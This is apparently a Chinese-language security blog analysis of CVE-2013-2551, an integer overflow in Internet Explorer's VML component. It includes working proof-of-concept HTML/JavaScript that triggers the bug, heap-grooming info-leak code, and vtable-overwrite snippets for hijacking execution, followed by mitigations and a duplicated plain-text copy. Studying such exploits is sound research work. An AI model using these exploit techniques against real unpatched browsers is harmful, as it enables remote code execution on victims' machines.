Internet Explorer漏洞分析(二)——CVE-2013-2551
字数 1895 2025-08-06 08:35:22

CVE-2013-2551 Internet Explorer漏洞分析与利用

漏洞概述

漏洞编号: CVE-2013-2551
漏洞类型: 整数溢出(Integer Overflow)
影响范围: Microsoft Internet Explorer 6-10
CVSS 2.0评分: 9.3 (高危)
修复补丁: MS13-037

该漏洞存在于VGX.dll模块中,具体是COALineDashStyleArray::put_length函数在处理length数据时未做有效验证,当length为负数时可造成整数溢出,进而实现任意内存读写,最终导致远程代码执行(RCE)。

漏洞分析环境

  • 操作系统: Windows XP Service Pack 3
  • IE版本: 8.0.6001.18702
  • VGX.dll版本: 8.0.6001.18702

前置知识:VML简介

VML(Vector Markup Language)是一种基于XML的矢量标记语言,允许在IE中绘制矢量图形。关键特点:

  1. 通过<style>标签引入VML行为:

    <style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
    
  2. 声明VML命名空间:

    <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
    
  3. 基本形状示例:

    <v:shape fillcolor="green" style="position:relative;top:1;left:1;width:200;height:200" 
             path="m 1,1 l 1,200, 200,200, 200,1 x e">
    </v:shape>
    

漏洞详细分析

漏洞触发原理

漏洞核心在于COALineDashStyleArray::put_length函数中的整数溢出:

  1. 函数首先获取当前数组长度
  2. 将新长度与当前长度比较时:
    • 使用movzx eax, word ptr [eax+4]指令(无符号扩展)
    • 但跳转使用jge指令(有符号比较)
  3. 当传入负数的length时,由于无符号/有符号处理不一致,导致整数溢出

崩溃分析

使用以下PoC触发漏洞:

<html>
<head><meta http-equiv="x-ua-compatible" content="IE=EmulateIE9"></head>
<title>POC by VUPEN</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
  for(var i=0; i<0x400; i++){
    rect_array[i] = document.createElement("v:shape")
    rect_array[i].id = "rect" + i.toString()
    document.body.appendChild(rect_array[i])
  }
}
function crashme(){
  var vml1 = document.getElementById("vml1")
  var shape = document.getElementById("shape")
  for (var i=0; i<0x400; i++){
    a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  }
  for (var i=0; i<0x400; i++){
    a[i].rotation; //create a COARuntimeStyle
    if (i == 0x300) {
      vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
    }
  }
  vml1.dashstyle.array.length = 0 - 1
  shape.dashstyle.array.length = 0 - 1
  for (var i=0; i<0x400; i++) {
    a[i].marginLeft = "a";
    marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
    if (marginLeftAddress > 0) {
      try{
        shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
      } catch(e) {continue}
    }
  }
}
</script>
<body onload="createRects();">
<v:oval><v:stroke id="vml1"/></v:oval>
<v:oval><v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/></v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>

关键操作:

  1. 创建大量VML shape对象
  2. 设置dashstyle数组
  3. 将数组长度设置为-1(0xFFFFFFFF)
  4. 通过item操作实现越界读写

关键函数分析

  1. ORG::Get函数:

    • 偏移0x10处存储指向dashstyle数组的指针
    • 用于获取数组元素
  2. COALineDashStyleArray::get_item:

    • 调用ORG::CElements获取数组元素个数
    • 检查下标是否合法(0xFFFFFFFF < index < length)
    • 合法则调用ORG::Get获取元素
  3. COALineDashStyleArray::put_length:

    • 漏洞核心函数
    • 错误的无符号/有符号整数处理导致溢出
  4. ORG::DeleteRange:

    • 被put_length调用
    • 通过MsoDeletePx和MsoFRemovePx实现长度修改

漏洞利用分析

信息泄露技术

方法1:通过_anchorRect属性

  1. 访问_anchorRect会调用COAShape::get__anchorRect
  2. 该函数通过malloc申请0x10字节空间存储COAReturnedPointsForAnchor对象
  3. 布局大量COAReturnedPointsForAnchor对象,中间插入Dashstyle Array
  4. 读取后续对象的虚表指针获取VGX.dll基址

PoC示例:

function info_leak(){
  var vml1 = document.getElementById("vml1")
  for (var i=0; i<0x1000; i++){
    a[i] = document.getElementById("rect" + i.toString())._anchorRect;
    if (i==0x800){
      vml1.dashstyle="1 2 3 4";
    }
  }
  vml1.dashstyle.array.length = 0 - 1;
  var leak = vml1.dashstyle.array.item(0x12);
  alert(leak-0x82a48); // 计算VGX.dll基址
}

方法2:通过_vgRuntimeStyle属性

  1. 访问_vgRuntimeStyle.rotation会申请0xAC大小空间
  2. 插入大小为0xB0的Dashstyle Array(44个元素+8字节头部)
  3. 写_vgRuntimeStyle.marginLeft会写入偏移0x58处
  4. 读_vgRuntimeStyle.marginLeft会读取偏移0x58指针指向的内容
  5. 控制0x58处指针实现任意地址读取

PoC示例:

function exploit(){
  var vml1 = document.getElementById("vml1")
  for (var i=0; i<0x400; i++){
    a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
  }
  for (var i=0; i<0x400; i++){
    a[i].rotation;
    if (i == 0x300) {
      vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
    }
  }
  var length_orig = vml1.dashstyle.array.length;
  vml1.dashstyle.array.length = 0 - 1;
  for (var i=0; i<0x400; i++) {
    a[i].marginLeft = "a";
    marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
    if (marginLeftAddress > 0) {
      vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
      var leak = a[i].marginLeft;
      vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
      vml1.dashstyle.array.length = length_orig;
      alert(parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16));
      return;
    }
  }
}

EIP劫持技术

方法1:覆盖COAReturnedPointsForAnchor虚表

  1. 布局大量COAReturnedPointsForAnchor对象
  2. 使用漏洞覆盖虚表指针(偏移0xC)
  3. 需要配合堆栈转移gadget
vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;
vml1.dashstyle.array.item(0xE) = 0x0c0c0c0c;
vml1.dashstyle.array.item(0xF) = ntdllbase+0xcb3e3;

方法2:覆盖COAShape虚表

  1. 布局大量COAShape对象
  2. 使用漏洞覆盖虚表指针(偏移6)
  3. 直接使用xchg eax,esp;ret等gadget
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;

缓解措施

  1. 及时安装微软安全补丁MS13-037
  2. 禁用VML支持(如果业务不需要)
  3. 升级到更高版本的IE浏览器
  4. 使用DEP、ASLR等缓解技术

总结

CVE-2013-2551是一个典型的整数溢出漏洞,通过精心构造的VML操作可以实现内存任意读写,最终导致远程代码执行。该漏洞利用涉及复杂的堆布局和内存操作,展示了浏览器漏洞利用的典型技术路线。理解此类漏洞有助于提高安全防护能力,特别是在浏览器安全领域。

CVE-2013-2551 Internet Explorer漏洞分析与利用 漏洞概述 漏洞编号 : CVE-2013-2551 漏洞类型 : 整数溢出(Integer Overflow) 影响范围 : Microsoft Internet Explorer 6-10 CVSS 2.0评分 : 9.3 (高危) 修复补丁 : MS13-037 该漏洞存在于VGX.dll模块中,具体是 COALineDashStyleArray::put_length 函数在处理length数据时未做有效验证,当length为负数时可造成整数溢出,进而实现任意内存读写,最终导致远程代码执行(RCE)。 漏洞分析环境 操作系统 : Windows XP Service Pack 3 IE版本 : 8.0.6001.18702 VGX.dll版本 : 8.0.6001.18702 前置知识:VML简介 VML(Vector Markup Language)是一种基于XML的矢量标记语言,允许在IE中绘制矢量图形。关键特点: 通过 <style> 标签引入VML行为: 声明VML命名空间: 基本形状示例: 漏洞详细分析 漏洞触发原理 漏洞核心在于 COALineDashStyleArray::put_length 函数中的整数溢出: 函数首先获取当前数组长度 将新长度与当前长度比较时: 使用 movzx eax, word ptr [eax+4] 指令(无符号扩展) 但跳转使用 jge 指令(有符号比较) 当传入负数的length时,由于无符号/有符号处理不一致,导致整数溢出 崩溃分析 使用以下PoC触发漏洞: 关键操作: 创建大量VML shape对象 设置dashstyle数组 将数组长度设置为-1(0xFFFFFFFF) 通过item操作实现越界读写 关键函数分析 ORG::Get函数 : 偏移0x10处存储指向dashstyle数组的指针 用于获取数组元素 COALineDashStyleArray::get_ item : 调用ORG::CElements获取数组元素个数 检查下标是否合法(0xFFFFFFFF < index < length) 合法则调用ORG::Get获取元素 COALineDashStyleArray::put_ length : 漏洞核心函数 错误的无符号/有符号整数处理导致溢出 ORG::DeleteRange : 被put_ length调用 通过MsoDeletePx和MsoFRemovePx实现长度修改 漏洞利用分析 信息泄露技术 方法1:通过_ anchorRect属性 访问_ anchorRect会调用COAShape::get__ anchorRect 该函数通过malloc申请0x10字节空间存储COAReturnedPointsForAnchor对象 布局大量COAReturnedPointsForAnchor对象,中间插入Dashstyle Array 读取后续对象的虚表指针获取VGX.dll基址 PoC示例: 方法2:通过_ vgRuntimeStyle属性 访问_ vgRuntimeStyle.rotation会申请0xAC大小空间 插入大小为0xB0的Dashstyle Array(44个元素+8字节头部) 写_ vgRuntimeStyle.marginLeft会写入偏移0x58处 读_ vgRuntimeStyle.marginLeft会读取偏移0x58指针指向的内容 控制0x58处指针实现任意地址读取 PoC示例: EIP劫持技术 方法1:覆盖COAReturnedPointsForAnchor虚表 布局大量COAReturnedPointsForAnchor对象 使用漏洞覆盖虚表指针(偏移0xC) 需要配合堆栈转移gadget 方法2:覆盖COAShape虚表 布局大量COAShape对象 使用漏洞覆盖虚表指针(偏移6) 直接使用xchg eax,esp;ret等gadget 缓解措施 及时安装微软安全补丁MS13-037 禁用VML支持(如果业务不需要) 升级到更高版本的IE浏览器 使用DEP、ASLR等缓解技术 总结 CVE-2013-2551是一个典型的整数溢出漏洞,通过精心构造的VML操作可以实现内存任意读写,最终导致远程代码执行。该漏洞利用涉及复杂的堆布局和内存操作,展示了浏览器漏洞利用的典型技术路线。理解此类漏洞有助于提高安全防护能力,特别是在浏览器安全领域。